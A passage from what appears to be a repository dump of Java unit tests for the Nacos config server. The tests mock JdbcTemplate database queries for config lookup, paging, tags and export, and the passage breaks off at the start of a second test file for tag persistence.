Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(Long.class))).thenReturn(123456L);\n        long configMaxId = externalConfigInfoPersistService.findConfigMaxId();\n        assertEquals(123456L, configMaxId);\n    }\n    \n    @Test\n    void testFindConfigMaxId0() {\n        \n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(Long.class))).thenThrow(new NullPointerException());\n        long configMaxId = externalConfigInfoPersistService.findConfigMaxId();\n        assertEquals(0, configMaxId);\n    }\n    \n    @Test\n    void testFindConfigInfoById() {\n        long id = 1234567890876L;\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setId(id);\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {id}), eq(CONFIG_INFO_ROW_MAPPER)))\n                .thenReturn(configInfo);\n        ConfigInfo configReturn = externalConfigInfoPersistService.findConfigInfo(id);\n        assertEquals(id, configReturn.getId());\n    }\n    \n    @Test\n    void testFindConfigInfoByIdNull() {\n        long id = 1234567890876L;\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setId(id);\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {id}), eq(CONFIG_INFO_ROW_MAPPER)))\n                .thenThrow(new EmptyResultDataAccessException(1));\n        ConfigInfo configReturn = externalConfigInfoPersistService.findConfigInfo(id);\n        assertNull(configReturn);\n    }\n    \n    @Test\n    void testFindConfigInfoByIdGetConFail() {\n        long id = 1234567890876L;\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setId(id);\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {id}), eq(CONFIG_INFO_ROW_MAPPER)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"mocked exp\"));\n        try {\n            ConfigInfo configReturn = externalConfigInfoPersistService.findConfigInfo(id);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n        }\n    }\n    \n    @Test\n    void testFindConfigInfoByDataId() {\n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(dataId);\n        configInfoWrapper.setGroup(group);\n        configInfoWrapper.setTenant(tenant);\n        \n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenReturn(configInfoWrapper);\n        ConfigInfo configReturn = externalConfigInfoPersistService.findConfigInfo(dataId, group, tenant);\n        assertEquals(dataId, configReturn.getDataId());\n    }\n    \n    @Test\n    void testFindConfigInfoByDataIdNull() {\n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        ConfigInfoWrapper configReturn = externalConfigInfoPersistService.findConfigInfo(dataId, group, tenant);\n        assertNull(configReturn);\n    }\n    \n    @Test\n    void testFindConfigInfoByDataIdGetConFail() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mocked exp\"));\n        try {\n            externalConfigInfoPersistService.findConfigInfo(dataId, group, tenant);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n        }\n    }\n    \n    @Test\n    void testFindConfigInfo4Page() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock total count\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {tenant, dataId, group}),\n                eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {tenant, dataId, group}),\n                eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        Page<ConfigInfo> configInfo4Page = externalConfigInfoPersistService.findConfigInfo4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n        \n    }\n    \n    @Test\n    void testFindConfigInfo4PageWithTags() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tags1,tags3\");\n        \n        //mock total count\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {tenant, dataId, group, \"tags1\", \"tags3\"}),\n                eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {tenant, dataId, group, \"tags1\", \"tags3\"}),\n                eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        \n        Page<ConfigInfo> configInfo4Page = externalConfigInfoPersistService.findConfigInfo4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n    }\n    \n    @Test\n    void testConfigInfoCount() {\n        \n        //mock total count\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(new Integer(9));\n        int count = externalConfigInfoPersistService.configInfoCount();\n        assertEquals(9, count);\n        \n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(null);\n        try {\n            externalConfigInfoPersistService.configInfoCount();\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof IllegalArgumentException);\n        }\n        \n    }\n    \n    @Test\n    void testConfigInfoCountByTenant() {\n        \n        String tenant = \"tenant124\";\n        //mock total count\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {tenant}), eq(Integer.class))).thenReturn(\n                new Integer(90));\n        int count = externalConfigInfoPersistService.configInfoCount(tenant);\n        assertEquals(90, count);\n        \n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {tenant}), eq(Integer.class))).thenReturn(null);\n        try {\n            externalConfigInfoPersistService.configInfoCount(tenant);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof IllegalArgumentException);\n        }\n        \n    }\n    \n    @Test\n    void testFindConfigInfoLike4Page() {\n        String dataId = \"dataId4567222*\";\n        String group = \"group3456789*\";\n        String tenant = \"tenant4567890\";\n        String appName = \"appName1234\";\n        String content = \"content123\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"appName\", appName);\n        configAdvanceInfo.put(\"content\", content);\n        //mock total count\n        when(jdbcTemplate.queryForObject(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName,\n                        content}), eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(jdbcTemplate.query(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName,\n                        content}), eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        \n        Page<ConfigInfo> configInfo4Page = externalConfigInfoPersistService.findConfigInfoLike4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n        \n    }\n    \n    @Test\n    void testFindConfigInfoLike4PageWithTags() {\n        \n        String appName = \"appName1234\";\n        String content = \"content123\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"appName\", appName);\n        configAdvanceInfo.put(\"content\", content);\n        configAdvanceInfo.put(\"config_tags\", \"tags,tag2\");\n        String dataId = \"dataId4567222*\";\n        String group = \"group3456789*\";\n        String tenant = \"tenant4567890\";\n        //mock total count\n        when(jdbcTemplate.queryForObject(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName, content,\n                        \"tags\", \"tag2\"}), eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(jdbcTemplate.query(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName, content,\n                        \"tags\", \"tag2\"}), eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        \n        Page<ConfigInfo> configInfo4Page = externalConfigInfoPersistService.findConfigInfoLike4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n        \n    }\n    \n    @Test\n    void testFindChangeConfig() {\n        \n        //mock page list\n        List<ConfigInfoStateWrapper> result = new ArrayList<>();\n        result.add(createMockConfigInfoStateWrapper(0));\n        result.add(createMockConfigInfoStateWrapper(1));\n        result.add(createMockConfigInfoStateWrapper(2));\n        Timestamp startTime = new Timestamp(System.currentTimeMillis() - 1000L);\n        long lastMaxId = 10000L;\n        int pageSize = 30;\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {startTime, lastMaxId, pageSize}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(result);\n        \n        List<ConfigInfoStateWrapper> configInfo4List = externalConfigInfoPersistService.findChangeConfig(startTime,\n                lastMaxId, pageSize);\n        assertEquals(result.size(), configInfo4List.size());\n    }\n    \n    @Test\n    void testFindChangeConfigError() {\n        Timestamp startTime = new Timestamp(System.currentTimeMillis() - 1000L);\n        long lastMaxId = 10000L;\n        int pageSize = 30;\n        //mock page list\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {startTime, lastMaxId, pageSize}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new CannotAcquireLockException(\"mock ex\"));\n        try {\n            List<ConfigInfoStateWrapper> configInfo4List = externalConfigInfoPersistService.findChangeConfig(startTime,\n                    lastMaxId, pageSize);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotAcquireLockException);\n        }\n    }\n    \n    @Test\n    void testSelectTagByConfig() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock page list\n        List<String> tagStrings = Arrays.asList(\"\", \"\", \"\");\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenReturn(tagStrings);\n        List<String> configTags = externalConfigInfoPersistService.selectTagByConfig(dataId, group, tenant);\n        assertEquals(tagStrings, configTags);\n        \n        //mock EmptyResultDataAccessException\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenThrow(new EmptyResultDataAccessException(3));\n        List<String> nullResult = externalConfigInfoPersistService.selectTagByConfig(dataId, group, tenant);\n        assertTrue(nullResult == null);\n        //mock IncorrectResultSizeDataAccessException\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenThrow(new IncorrectResultSizeDataAccessException(3));\n        List<String> nullResult2 = externalConfigInfoPersistService.selectTagByConfig(dataId, group, tenant);\n        assertTrue(nullResult2 == null);\n        \n        //mock IncorrectResultSizeDataAccessException\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenThrow(new CannotGetJdbcConnectionException(\"mock exp\"));\n        try {\n            externalConfigInfoPersistService.selectTagByConfig(dataId, group, tenant);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n        }\n    }\n    \n    @Test\n    void testFindConfigInfosByIds() {\n        \n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {123L, 1232345L}), eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(\n                result);\n        String ids = \"123,1232345\";\n        List<ConfigInfo> configInfosByIds = externalConfigInfoPersistService.findConfigInfosByIds(ids);\n        assertEquals(result.size(), configInfosByIds.size());\n        assertEquals(result.get(2).getDataId(), configInfosByIds.get(2).getDataId());\n        \n        //mock EmptyResultDataAccessException\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {123L, 1232345L}), eq(CONFIG_INFO_ROW_MAPPER))).thenThrow(\n                new EmptyResultDataAccessException(3));\n        List<ConfigInfo> nullResult2 = externalConfigInfoPersistService.findConfigInfosByIds(ids);\n        assertTrue(nullResult2 == null);\n        \n        //blank ids.\n        List<ConfigInfo> nullResultBlankIds = externalConfigInfoPersistService.findConfigInfosByIds(\"\");\n        assertTrue(nullResultBlankIds == null);\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {123L, 1232345L}), eq(CONFIG_INFO_ROW_MAPPER))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock exp\"));\n        try {\n            externalConfigInfoPersistService.findConfigInfosByIds(ids);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n        }\n    }\n    \n    @Test\n    void testFindConfigAdvanceInfo() {\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        //mock select tags\n        List<String> mockTags = Arrays.asList(\"tag1\", \"tag2\", \"tag3\");\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenReturn(mockTags);\n        \n        String schema = \"schema12345654\";\n        //mock select config advance\n        ConfigAdvanceInfo mockedAdvance = new ConfigAdvanceInfo();\n        mockedAdvance.setSchema(schema);\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ADVANCE_INFO_ROW_MAPPER))).thenReturn(mockedAdvance);\n        \n        //execute return mock obj\n        ConfigAdvanceInfo configAdvanceInfo = externalConfigInfoPersistService.findConfigAdvanceInfo(dataId, group,\n                tenant);\n        //expect check schema & tags.\n        assertEquals(mockedAdvance.getSchema(), configAdvanceInfo.getSchema());\n        assertEquals(String.join(\",\", mockTags), configAdvanceInfo.getConfigTags());\n        \n        //mock EmptyResultDataAccessException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ADVANCE_INFO_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        //expect return null.\n        assertNull(externalConfigInfoPersistService.findConfigAdvanceInfo(dataId, group, tenant));\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ADVANCE_INFO_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mock exp\"));\n        //expect throw exception.\n        try {\n            externalConfigInfoPersistService.findConfigAdvanceInfo(dataId, group, tenant);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n            assertTrue(e.getMessage().endsWith(\"mock exp\"));\n        }\n    }\n    \n    @Test\n    void testFindConfigAllInfo() {\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        //mock select tags\n        List<String> mockTags = Arrays.asList(\"tag1\", \"tag2\", \"tag3\");\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenReturn(mockTags);\n        \n        String schema = \"schema12345654\";\n        //mock select config advance\n        ConfigAllInfo mockedConfig = new ConfigAllInfo();\n        mockedConfig.setSchema(schema);\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(mockedConfig);\n        \n        //execute return mock obj\n        ConfigAllInfo configAllInfo = externalConfigInfoPersistService.findConfigAllInfo(dataId, group, tenant);\n        //expect check schema & tags.\n        assertEquals(mockedConfig.getSchema(), configAllInfo.getSchema());\n        assertEquals(String.join(\",\", mockTags), configAllInfo.getConfigTags());\n        \n        //mock EmptyResultDataAccessException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        //expect return null.\n        assertNull(externalConfigInfoPersistService.findConfigAllInfo(dataId, group, tenant));\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mock exp\"));\n        //expect throw exception.\n        try {\n            externalConfigInfoPersistService.findConfigAllInfo(dataId, group, tenant);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n            assertTrue(e.getMessage().endsWith(\"mock exp\"));\n        }\n    }\n    \n    @Test\n    void testFindConfigInfoState() {\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        \n        //mock select config state\n        ConfigInfoStateWrapper mockedConfig = new ConfigInfoStateWrapper();\n        mockedConfig.setLastModified(2345678L);\n        mockedConfig.setId(23456789098765L);\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfig);\n        \n        //execute return mock obj\n        ConfigInfoStateWrapper configInfoStateWrapper = externalConfigInfoPersistService.findConfigInfoState(dataId,\n                group, tenant);\n        //expect check schema & tags.\n        assertEquals(mockedConfig.getId(), configInfoStateWrapper.getId());\n        assertEquals(mockedConfig.getLastModified(), configInfoStateWrapper.getLastModified());\n        \n        //mock EmptyResultDataAccessException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        //expect return null.\n        assertNull(externalConfigInfoPersistService.findConfigInfoState(dataId, group, tenant));\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mock exp\"));\n        //expect throw exception.\n        try {\n            externalConfigInfoPersistService.findConfigInfoState(dataId, group, tenant);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n            assertTrue(e.getMessage().endsWith(\"mock exp\"));\n        }\n    }\n    \n    @Test\n    void testFindAllConfigInfo4Export() {\n        \n        //mock select config state\n        List<ConfigAllInfo> mockConfigs = new ArrayList<>();\n        mockConfigs.add(createMockConfigAllInfo(0));\n        mockConfigs.add(createMockConfigAllInfo(1));\n        mockConfigs.add(createMockConfigAllInfo(2));\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        String appName = \"appName1243\";\n        List<Long> ids = Arrays.asList(132L, 1343L, 245L);\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {132L, 1343L, 245L}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(mockConfigs);\n        //execute return mock obj\n        List<ConfigAllInfo> configAllInfosIds = externalConfigInfoPersistService.findAllConfigInfo4Export(dataId, group,\n                tenant, appName, ids);\n        //expect check\n        assertEquals(mockConfigs, configAllInfosIds);\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {tenant, dataId, group, appName}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(mockConfigs);\n        //execute return mock obj\n        List<ConfigAllInfo> configAllInfosWithDataId = externalConfigInfoPersistService.findAllConfigInfo4Export(dataId,\n                group, tenant, appName, null);\n        //expect check\n        assertEquals(mockConfigs, configAllInfosWithDataId);\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {132L, 1343L, 245L}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mock exp11\"));\n        //expect throw exception.\n        try {\n            externalConfigInfoPersistService.findAllConfigInfo4Export(dataId, group, tenant, appName, ids);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n            assertTrue(e.getMessage().endsWith(\"mock exp11\"));\n        }\n    }\n    \n    @Test\n    void testQueryConfigInfoByNamespace() {\n        \n        //mock select config state\n        List<ConfigInfoWrapper> mockConfigs = new ArrayList<>();\n        mockConfigs.add(createMockConfigInfoWrapper(0));\n        mockConfigs.add(createMockConfigInfoWrapper(1));\n        mockConfigs.add(createMockConfigInfoWrapper(2));\n        String tenant = \"tenant13245\";\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {tenant}), eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenReturn(\n                mockConfigs);\n        //execute return mock obj\n        List<ConfigInfoWrapper> configInfoWrappers = externalConfigInfoPersistService.queryConfigInfoByNamespace(\n                tenant);\n        //expect check\n        assertEquals(mockConfigs, configInfoWrappers);\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {tenant}), eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenThrow(\n                new EmptyResultDataAccessException(2));\n        //execute return mock obj\n        List<ConfigInfoWrapper> configInfoWrapperNull = externalConfigInfoPersistService.queryConfigInfoByNamespace(\n                tenant);\n        //expect check\n        assertEquals(Collections.EMPTY_LIST, configInfoWrapperNull);\n        \n        //mock CannotGetJdbcConnectionException\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {tenant}), eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock exp1111\"));\n        //expect throw exception.\n        try {\n            externalConfigInfoPersistService.queryConfigInfoByNamespace(tenant);\n            assertFalse(true);\n        } catch (Exception e) {\n            assertTrue(e instanceof CannotGetJdbcConnectionException);\n            assertTrue(e.getMessage().endsWith(\"mock exp1111\"));\n        }\n    }\n    \n    @Test\n    void testGetTenantIdList() {\n        \n        int page = 10;\n        int pageSize = 100;\n        //mock select config state\n        List<String> tenantStrings = Arrays.asList(\"tenant1\", \"tenant2\", \"tenant3\");\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {}), eq(String.class))).thenReturn(tenantStrings);\n        //execute return mock obj\n        List<String> returnTenants = externalConfigInfoPersistService.getTenantIdList(page, pageSize);\n        \n        //expect check\n        assertEquals(tenantStrings, returnTenants);\n    }\n    \n    @Test\n    void testGetGroupIdList() {\n        \n        int page = 10;\n        int pageSize = 100;\n        //mock select config state\n        List<String> groupStrings = Arrays.asList(\"group1\", \"group2\", \"group3\");\n        when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {}), eq(String.class))).thenReturn(groupStrings);\n        //execute return mock obj\n        List<String> returnGroups = externalConfigInfoPersistService.getGroupIdList(page, pageSize);\n        \n        //expect check\n        assertEquals(groupStrings, returnGroups);\n    }\n    \n    @Test\n    void testFindAllConfigInfoFragment() {\n        //mock page list\n        List<ConfigInfoWrapper> mockConfigs = new ArrayList<>();\n        mockConfigs.add(createMockConfigInfoWrapper(0));\n        mockConfigs.add(createMockConfigInfoWrapper(1));\n        mockConfigs.add(createMockConfigInfoWrapper(2));\n        long lastId = 10111L;\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {lastId}), eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenReturn(\n                mockConfigs);\n        int pageSize = 100;\n        //execute return mock obj\n        Page<ConfigInfoWrapper> returnConfigPage = externalConfigInfoPersistService.findAllConfigInfoFragment(lastId,\n                pageSize, true);\n        \n        //expect check\n        assertEquals(mockConfigs, returnConfigPage.getPageItems());\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {lastId}), eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail\"));\n        try {\n            externalConfigInfoPersistService.findAllConfigInfoFragment(lastId, pageSize, true);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"mock fail\", e.getMessage());\n        }\n        \n    }\n    \n    @Test\n    void testBuildFindConfigInfoStateSql() {\n        MapperManager mapperManager = MapperManager.instance(false);\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        String select = configInfoMapper.select(Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        assertEquals(\n                \"SELECT id,data_id,group_id,tenant_id,gmt_modified FROM config_info WHERE data_id = ? AND group_id = ? AND tenant_id = ?\",\n                select);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoTagPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.sql.ExternalStorageUtils;\nimport com.alibaba.nacos.config.server.utils.TestCaseUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass ExternalConfigInfoTagPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ExternalStorageUtils> externalStorageUtilsMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    private ExternalConfigInfoTagPersistServiceImpl externalConfigInfoTagPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    private TransactionTemplate transactionTemplate = TestCaseUtils.createMockTransactionTemplate();\n    \n    @BeforeEach\n    void before() {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = 